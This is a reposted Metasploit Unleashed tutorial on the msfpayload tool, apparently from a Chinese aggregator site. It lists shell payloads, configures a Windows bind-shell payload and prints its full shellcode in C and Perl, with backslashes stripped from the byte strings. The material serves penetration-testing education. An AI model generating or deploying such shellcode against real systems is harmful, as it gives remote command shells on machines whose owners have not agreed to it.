概述
http://www.offensive-security.com/metasploit-unleashed/Msfpayload
msfpayload is a command-line instance of Metasploit that is used to generate and output all of the various types of shellcode that are available in Metasploit. The most common use of this tool is for the generation of shellcode for an exploit that is not currently in the Metasploit Framework or for testing different types of shellcode and options before finalizing a module.
This tool has many different options and variables available to it, but they may not all be fully realized given the limited output in the help banner.
root@kali:~# msfpayload -h Usage: /opt/metasploit/msf3/msfpayload [<options>] [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar> OPTIONS: -h Help banner -l List available payloads
How powerful this tool can be is fully seen when showing the vast number of different types of shellcode that are available to be customized for your specific exploit:
root@kali:~# msfpayload -l Framework Payloads (251 total) ============================== Name Description ---- ----------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell ...snip... ...snip... windows/x64/shell/bind_tcp Listen for a connection (Windows x64), Spawn a piped command shell (Windows x64) (staged) windows/x64/shell/reverse_tcp Connect back to the attacker (Windows x64), Spawn a piped command shell (Windows x64) (staged) windows/x64/shell_bind_tcp Listen for a connection and spawn a command shell (Windows x64) windows/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell (Windows x64) windows/x64/vncinject/bind_tcp Listen for a connection (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged) windows/x64/vncinject/reverse_tcp Connect back to the attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)
Once you have selected a payload, there are two switches that are used most often when crafting the payload for the exploit you are creating. In the example below we have selected a simple Windows bind shell. When we add the command-line argument "O" with that payload, we get all of the available configurable options for that payload.
root@kali:~# msfpayload windows/shell_bind_tcp O Name: Windows Command Shell, Bind TCP Inline Module: payload/windows/shell_bind_tcp Version: 14774 Platform: Windows Arch: x86 Needs Admin: No Total size: 341 Rank: Normal Provided by: vlad902 sf Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 4444 yes The listen port RHOST no The target address Description: Listen for a connection and spawn a command shell
As we can see from the output, we can configure three different options with this specific payload, if they are required, if they come with any default settings, and a short description:
- EXITFUNC
- Required
- Default setting: process
- LPORT
- Required
- Default setting: 4444
- RHOST
- Not required
- No default setting
Setting these options in msfpayload is very simple. An example is shown below of changing the exit technique and listening port of the shell:
root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 O Name: Windows Command Shell, Bind TCP Inline Module: payload/windows/shell_bind_tcp Version: 14774 Platform: Windows Arch: x86 Needs Admin: No Total size: 341 Rank: Normal Provided by: vlad902 sf Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC seh yes Exit technique: seh, thread, process, none LPORT 1234 yes The listen port RHOST no The target address Description: Listen for a connection and spawn a command shell
Now that all of that is configured, the only option left is to specify the output type such as C, Perl, Raw, etc. For this example we are going to output our shellcode as C:
root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C /* * windows/shell_bind_tcp - 341 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, * InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30" "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff" "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2" "xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85" "xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3" "x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0d" "x01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58" "x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8b" "x04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xff" "xe0x58x5fx5ax8bx12xebx86x5dx68x33x32x00x00x68" "x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8x90x01" "x00x00x29xc4x54x50x68x29x80x6bx00xffxd5x50x50" "x50x50x40x50x40x50x68xeax0fxdfxe0xffxd5x89xc7" "x31xdbx53x68x02x00x04xd2x89xe6x6ax10x56x57x68" "xc2xdbx37x67xffxd5x53x57x68xb7xe9x38xffxffxd5" "x53x53x57x68x74xecx3bxe1xffxd5x57x89xc7x68x75" "x6ex4dx61xffxd5x68x63x6dx64x00x89xe3x57x57x57" "x31xf6x6ax12x59x56xe2xfdx66xc7x44x24x3cx01x01" "x8dx44x24x10xc6x00x44x54x50x56x56x56x46x56x4e" "x56x56x53x56x68x79xccx3fx86xffxd5x89xe0x4ex56" "x46xffx30x68x08x87x1dx60xffxd5xbbxfex0ex32xea" "x68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75" "x05xbbx47x13x72x6fx6ax00x53xffxd5";
And here's the same shellcode only this time we'll select Perl:
root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 Perl # windows/shell_bind_tcp - 341 bytes # http://www.metasploit.com # VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, # InitialAutoRunScript=, AutoRunScript= my $buf = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52" . "x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26" . "x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0d" . "x01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0" . "x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8b" . "x58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xff" . "x31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7d" . "xf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8b" . "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44" . "x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8b" . "x12xebx86x5dx68x33x32x00x00x68x77x73x32x5f" . "x54x68x4cx77x26x07xffxd5xb8x90x01x00x00x29" . "xc4x54x50x68x29x80x6bx00xffxd5x50x50x50x50" . "x40x50x40x50x68xeax0fxdfxe0xffxd5x89xc7x31" . "xdbx53x68x02x00x04xd2x89xe6x6ax10x56x57x68" . "xc2xdbx37x67xffxd5x53x57x68xb7xe9x38xffxff" . "xd5x53x53x57x68x74xecx3bxe1xffxd5x57x89xc7" . "x68x75x6ex4dx61xffxd5x68x63x6dx64x00x89xe3" . "x57x57x57x31xf6x6ax12x59x56xe2xfdx66xc7x44" . "x24x3cx01x01x8dx44x24x10xc6x00x44x54x50x56" . "x56x56x46x56x4ex56x56x53x56x68x79xccx3fx86" . "xffxd5x89xe0x4ex56x46xffx30x68x08x87x1dx60" . "xffxd5xbbxfex0ex32xeax68xa6x95xbdx9dxffxd5" . "x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6f" . "x6ax00x53xffxd5";
Much like the 'generate' command (discussed earlier) inside the Metasploit console, payload options are defined using the "VAR=VAL" format. Now we have our fully customized shellcode to be used in any exploit!
最后
以上就是妩媚冥王星为你收集整理的Msfpayload的全部内容,希望文章能够帮你解决Msfpayload所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复